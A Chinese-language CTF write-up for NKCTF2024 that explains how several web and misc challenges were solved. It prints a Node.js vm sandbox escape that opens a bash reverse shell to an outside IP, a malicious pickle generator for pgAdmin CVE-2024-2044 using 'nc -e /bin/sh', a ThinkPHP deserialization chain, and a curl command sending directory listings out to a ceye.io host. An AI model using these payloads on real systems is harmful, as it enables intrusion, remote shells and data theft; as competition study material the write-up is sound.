目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. my first cms
      1. 2.1.1. SSTI(Failed)
      2. 2.1.2. upload(Failed)
      3. 2.1.3. RCE
    2. 2.2. 全世界最简单的CTF
      1. 2.2.1. 解法一:反射
      2. 2.2.2. 解法二:原型链污染
      3. 2.2.3. 解法三:replace(非预期)
    3. 2.3. attack_tacooooo (复现)
    4. 2.4. 用过就是熟悉 (复现)
  3. 3. Misc
    1. 3.1. signin
    2. 3.2. Webshell_pro

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NKCTF2024

2024/3/23 CTF线上赛 Nodejs CMS ThinkPHP
  |     |   总文章阅读量:

前言

孤身一人偶遇四道200分题,拼尽全力才能战胜

web:2/4

和去年相比感觉题型是差不多的,难度上可能比去年要进阶了一点

今年又一次复刻了去年做到凌晨三点多的操作(

参考:

官方wp:https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247485228&idx=1&sn=b72c60e839d1d35ad9867e9c194f13e5&chksm=cf5ee77af8296e6cb3335a3f6ff338fba0bcfe976feb86bc0f4f4c7d6750d2763cedaeff5eb8&mpshare=1&scene=23&srcid=0325evnKG61Jt7x8IDzz6pd1&sharer_shareinfo=5f7c02fa11af38bd577e570045da8469&sharer_shareinfo_first=bcf341aec33f1c1c7b3ae10d10b1330e#rd

https://blog.csdn.net/2301_77392802/article/details/136980210?spm=1001.2014.3001.5502

https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g

Web

my first cms

CMSMS 2.2.19

访问/admin

弱口令爆破出账密 admin:Admin123,这里我找了好几个字典才爆出来

接下来测试这个版本已知的几个漏洞

SSTI(Failed)

首先是smarty SSTI:https://github.com/capture0x/CMSMadeSimple2

{7*7}
{$smarty.version}
{if system('ls /')}{/if}

image-20240323125946518

image-20240323130105147

发现命令执行和文件包含都被ban了,应该是smarty版本 4.2.1过高的问题

upload(Failed)

接下来尝试文件上传

https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/cmsmadesimple.org/2023/CMSMS%E2%84%A2-2.2.19

https://www.nu11secur1ty.com/2023/12/cmsms-2219-file-upload-rce.html

传不上去,翻一下System Information发现没权限

image-20240323132857230

RCE

https://packetstormsecurity.com/files/177241/CMS-Made-Simple-2.2.19-Remote-Code-Execution.html

image-20240323142955859

submit后打开这个tag运行

image-20240323143031874

成功rce,接下来修改命令再次Apply和Run即可


全世界最简单的CTF

vm沙箱逃逸 + 反射获取process + 变量污染

ctrl+u,发现有一个 /secret 路由

访问得到源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

是一个vm沙箱,this为null,还要借助异常处理

/secret 路由存在文件读取,如果我们能够控制process.__filename的值就能实现任意读

waf ban了中括号和加号,不能用拼接绕过;ban了eval;ban了\,不能用十六进制和unicode

解法一:反射

但是我们可以用反射获取process函数

在几个拼接方法被ban掉的情况下构造child_process模块很难,不过我们一开始提到的污染process.__filename任意读文件还没用

throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller
        const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
        return p.__filename="/etc/passwd"
    }
})

然后访问 /secret 即可成功读取

尝试读/flag,返回permission denied, open '/flag',没权限直接读

尝试读./hack,注意路径是/app/hack.js

console.log('shell.js');

读/app/shell.js

得到

console.log("shell"); const p = require('child_process'); p.execSync(process.env.command);

猜测要包含这个 shell.js 然后污染process.env.command弹shell

本地测试一下:

throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller
        const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
        p.env.command="calc"
        return p.mainModule.require("./shell")
    }
})

image-20240324085044298

所以payload为

throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller
        const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
        p.env.command="bash -c 'bash -i >& /dev/tcp/115.236.153.172/42822 <&1'"
        return p.mainModule.require("./shell")
    }
})

成功弹shell

image-20240324085542400

解法二:原型链污染

官方wp是用原型链污染包含的文件名称和变量名🤔

throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename = "/etc/passwd";
}
})
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.data = {"name": "./hack","exports": "./shell.js"};
cc.__proto__.__proto__.path = "/app";
cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'";
}
})

解法三:replace(非预期)

来自LaoGong:https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g

有点意思

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

attack_tacooooo (复现)

pgAdmin CVE-2024-2044

参考:

https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/

怎么登录呢,没思路

啊?这里的密码是猜出来的:tacooooo@qq.com/tacooooo :tacooooo

然后就是复现参考文章里面那个洞了

因为题目环境里面没有 bash 和 curl,尝试直接nc

poc:

import struct
import sys

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b

if __name__ == '__main__':
    # if len(sys.argv) != 2:
    #     exit(f"usage: {sys.argv[0]} ip:port")
    # with open('nt.pickle', 'wb') as f:
    #     f.write(produce_pickle_bytes('nt', f"nc 115.236.153.172 41678 -e /bin/sh"))
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', f"nc 76135132qk.imdo.co 41678 -e /bin/sh"))

注意要在linux环境下生成文件,pickle文件好像是有分系统的来着

上传之后,接下来要换cookie为绝对路径:pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a

image-20240325195055512

于是就弹shell了,flag在 /proc/1/environ 的环境变量里面(官方wp给的是crontab -e,在隐藏计划任务里面)

image-20240325194941567


用过就是熟悉 (复现)

tp5反序列化绕过登录

本地起个环境先

docker-compose up -d

翻一下代码,也是经典的tp架构

网站进去是一个登录框,先看看登录逻辑

在 app/controller/user/index.class.php 里发现一个反序列化入口

image-20240325212704035

全局搜一下__destruct

在 app/controller/user/think/process/pipes/Windows.php 这里

image-20240325213154722

那应该是tp5的链子,跟一下看看,进入 removeFiles ,明显这里$filename可以触发__tostring

image-20240325213309508

全局搜一下__tostring

选择 app/controller/user/think/Collection.php,经典的toJson()

image-20240325213436815

然后一路跟到toArray

image-20240325213652215

明显这里的$this->items->Loginout可以触发__get,全局搜一下,选择 app/controller/user/think/View.php 下的__get

image-20240325213920733

这里执行函数,发现Loginsubmit找不到定义,此时data[$name]data[Loginout],那么控制engine的值,可以触发__call

全局找一下,发现 app/controller/user/think/Testone.php 下有hint

image-20240325214339579

hinthinthinthinthinthinthint.php

<?php
header('Content-Type: text/html; charset=UTF-8');
$content= "这里有hint
";

md5(time())生成文件名,看起来要爆破文件名

可以自己生成一手md5(time()+6)然后抢时间连发(

也可以写python脚本

import hashlib
import time
import requests

t = 1711177055
url = "http://e7cc37bc-3f19-49b2-8cf2-5d3e7df9494c.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
# 遍历列表中的每个数字
while True:
    t = t + 1
    number_str = str(t).encode('utf-8')
    hash_object = hashlib.md5(number_str)
    md5_hash = hash_object.hexdigest()
    

    res = requests.get(url=url+md5_hash)
    time.sleep(1)
    print(f"{md5_hash} : {len(res.text)}")
    # print(res.text)

直接上结果吧(

亲爱的Chu0,
 
我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。
 
在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。
 
或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。
 
 
 
<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>
 
 
而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。
 
你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。
 
或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。
 
 
 
POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close
 
name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit
 
hint: 新建文件

给了个密文tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI

猜测要破解,回到 app/controller/user/index.class.php 发现 password 的加密方式

if ($data['salt']) {
	$key = substr($data['password'], 0, 5) . "2&$%@(*@(djfhj1923";
	$data['password'] = Mcrypt::decode(substr($data['password'], 5), $key);
}

跟一下decode

<?php

/*
* @link http://kodcloud.com/
* @author warlee | e-mail:kodcloud@qq.com
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*------
* 字符串加解密类;
* 一次一密;且定时解密有效
* 可用于加密&动态key生成
* demo:	
* 加密:echo Mcrypt::encode('abc','123');
* 解密:echo Mcrypt::decode('9f843I0crjv5y0dWE_-uwzL_mZRyRb1ynjGK4I_IACQ','123');
*/

class Mcrypt{
	public static $defaultKey = 'a!takA:dlmcldEv,e';
	
	/**
	 * 字符加解密,一次一密,可定时解密有效
	 * 
	 * @param string $string 原文或者密文
	 * @param string $operation 操作(encode | decode)
	 * @param string $key 密钥
	 * @param int $expiry 密文有效期,单位s,0 为永久有效
	 * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
	 */
	public static function encode($string,$key = '', $expiry = 0,$cKeySet='',$encode=true){
		if($encode){$string = rawurlencode($string);}
		$ckeyLength = 4;
		
		$key = md5($key ? $key : self::$defaultKey); //解密密匙
		$keya = md5(substr($key, 0, 16));		 //做数据完整性验证  
		$keyb = md5(substr($key, 16, 16));		 //用于变化生成的密文 (初始化向量IV)		
		$cKeySet = $cKeySet ? $cKeySet: md5(microtime());
		$keyc = substr($cKeySet, - $ckeyLength);
		$cryptkey = $keya . md5($keya . $keyc);  
		$keyLength = strlen($cryptkey);
		$string = sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string . $keyb), 0, 16) . $string;
		$stringLength = strlen($string);

		$rndkey = array();	
		for($i = 0; $i <= 255; $i++) {	
			$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
		}

		$box = range(0, 255);	
		// 打乱密匙簿,增加随机性
		for($j = $i = 0; $i < 256; $i++) {
			$j = ($j + $box[$i] + $rndkey[$i]) % 256;
			$tmp = $box[$i];
			$box[$i] = $box[$j];
			$box[$j] = $tmp;
		}	
		// 加解密,从密匙簿得出密匙进行异或,再转成字符
		$result = '';
		for($a = $j = $i = 0; $i < $stringLength; $i++) {
			$a = ($a + 1) % 256;
			$j = ($j + $box[$a]) % 256;
			$tmp = $box[$a];
			$box[$a] = $box[$j];
			$box[$j] = $tmp; 
			$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
		}
		$result = $keyc . str_replace('=', '', base64_encode($result));
		$result = str_replace(array('+', '/', '='),array('-', '_', '.'), $result);
		return $result;
	}

	/**
	 * 字符加解密,一次一密,可定时解密有效
	 * 
	 * @param string $string 原文或者密文
	 * @param string $operation 操作(encode | decode)
	 * @param string $key 密钥
	 * @param int $expiry 密文有效期,单位s,0 为永久有效
	 * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
	 */
	public static function decode($string,$key = '',$encode=true){
		$string = str_replace(array('-', '_', '.'),array('+', '/', '='), $string);
		$ckeyLength = 4;
		$key = md5($key ? $key : self::$defaultKey); //解密密匙
		$keya = md5(substr($key, 0, 16));		 //做数据完整性验证  
		$keyb = md5(substr($key, 16, 16));		 //用于变化生成的密文 (初始化向量IV)
		$keyc = substr($string, 0, $ckeyLength);
		$cryptkey = $keya . md5($keya . $keyc);  
		$keyLength = strlen($cryptkey);
		$string = base64_decode(substr($string, $ckeyLength));
		$stringLength = strlen($string);

		$rndkey = array();	
		for($i = 0; $i <= 255; $i++) {	
			$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
		}

		$box = range(0, 255);
		// 打乱密匙簿,增加随机性
		for($j = $i = 0; $i < 256; $i++) {
			$j = ($j + $box[$i] + $rndkey[$i]) % 256;
			$tmp = $box[$i];
			$box[$i] = $box[$j];
			$box[$j] = $tmp;
		}
		// 加解密,从密匙簿得出密匙进行异或,再转成字符
		$result = '';
		for($a = $j = $i = 0; $i < $stringLength; $i++) {
			$a = ($a + 1) % 256;
			$j = ($j + $box[$a]) % 256;
			$tmp = $box[$a];
			$box[$a] = $box[$j];
			$box[$j] = $tmp; 
			$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
		}
		$theTime = intval(substr($result, 0, 10));
		$resultStr  = '';
		if (($theTime == 0 || $theTime - time() > 0)
		&& substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)
		) {
			$resultStr = substr($result, 26);
			if($encode){$resultStr = rawurldecode($resultStr);}
		}
		return $resultStr;
	}
}

复制下来加上前面那一段解密一下

$a='tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI';
$key = substr($a, 0, 5) . "2&$%@(*@(djfhj1923";
echo Mcrypt::decode(substr($a, 5), $key);

得到!@!@!@!@NKCTF,再加上hint里面的Chu0

最后的帐密就是guest : !@!@!@!@NKCTFChu0

然后就成功登录了,在回收站里面发现 新建文件.html

image-20240325222909509

还原到桌面,

image-20240325223016755

但是怎么利用呢,访问 data/files/shell 可以下载到这个文件,那么接下来我们要找一个文件包含点

这时候回到刚才的tp链,翻看看其它的__call方法

image-20240325223536942

很明显这里存在包含,接下来就是构造payload了

<?php

namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($a)
        {
            $this->files = [$a];
        }
    }
}

namespace think {
    class Collection
    {
        protected $items;

        public function __construct($a)
        {
            $this->items = $a;
        }
    }
}

namespace think {
    class View
    {
        protected $data = [];
        public $engine = array('time' => '10086', 'name' => 'data/files/shell');
        public function __construct($a)
        {
            $this->data = array('Loginout' => $a);
        }
    }
}

namespace think {
    class Config
    {
    }
}

namespace {
    // $Debug = new think\Debug();
    // $View = new think\View($Debug);
    $Config = new think\Config();
    $View = new think\View($Config);
    $Collection = new think\Collection($View);
    $Windows = new think\process\pipes\Windows($Collection);
    echo base64_encode(serialize($Windows));
}

/?user/index/loginSubmit发包

无回显rce,题目环境没有 bash 和 nc,尝试curl带外

image-20240325225833381

因为只能回显一行,所以需要用base64编码读取

0=system('curl http://xxxxxx.ceye.io/`ls /|base64`');

flag在/fllllllllllllllllag

image-20240325230308262


Misc

signin

关注猎刃实验室谢谢喵(

nkctf{hell0_w41coMe_2_NKCTF_2024}

Webshell_pro

一个个tcp流翻过去

image-20240323100911176

base32+base64得到加密数据的脚本

import base64

import libnum
from Crypto.PublicKey import RSA

pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n

def enc_replace(base64_str: str):
    base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
    base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
    return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")

def encrypt(plain_text):
    # 私钥加密
    cipher_text = b""
    for i in range(0, len(plain_text), 128):
        part = plain_text[i:i+128]
        enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
        cipher_text += enc
    return enc_replace(base64.b64encode(cipher_text).decode())

if __name__ == '__main__':
    m = b"-RSA-" * 30
    print(f"原始数据: {m}")

    c = encrypt(m)
    print(f"加密数据: {c}")

接下来分析一下这几段

image-20240323112633013

写出解密脚本

import base64

import libnum
from Crypto.PublicKey import RSA
from urllib.parse import unquote

pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n


def dec_replace(base64_str: str):
    base64_str = base64_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=")
    base64_str = base64_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+")
    return base64_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/")

def decrypt(cipher_text):
    cipher_text = base64.b64decode(dec_replace(cipher_text))
    plain_text = b""
    for i in range(0, len(cipher_text), 128):
        part = cipher_text[i:i+128]
        dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n))
        plain_text += dec
    return plain_text

if __name__ == '__main__':

    c = unquote("G1TUg4bIVOFYi8omV2SQrTa8fzYfboRNN7fV6FJn6%26B8G6nE%402tt4UR6h3QBt%2A5%26C%26pVu8Wbm3O74uCUbwMkvRCYae44TX1ZO8X4w2Nk1igaIZjSQIJ9MMHhD9cn6%26B8G6nE%402tt4UR6h3QBt%2A5%26C%26pVu8WSV5EzikNsyM5c1nlPS8uqw1P2pJuYLaLxloK0x5xhQHDqqAxkuKrBzPn0noQ2bDn6%26B8G6nE%402tt4UR6h3QBt%2A5%26C%26pVu8WlVnGwsfP7YP9PYJXWUDuLUgwRLKD9fD6%26VY2aFeE%26r%40Ff2")
    print(f"加密数据: {c}")

    decrypted_text = decrypt(c)
    print(f"解密数据: {decrypted_text}")

依次解密得到以下命令

cd /root/FLAG && base64 小明的日记.txt
cd /root/FLAG && base64 hint.py
echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt

可知flag就是这段AES密文U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==

解码返回的流量

小明的日记.txt:

FLAG is NOT HERE!!!!!!!!!!!


PASSWORD:
Password-based-encryption

hint.py即我们的加解密脚本

既然给了AES密文和password

找个网站解AES:https://www.sojson.com/encrypt_aes.html

image-20240323114117792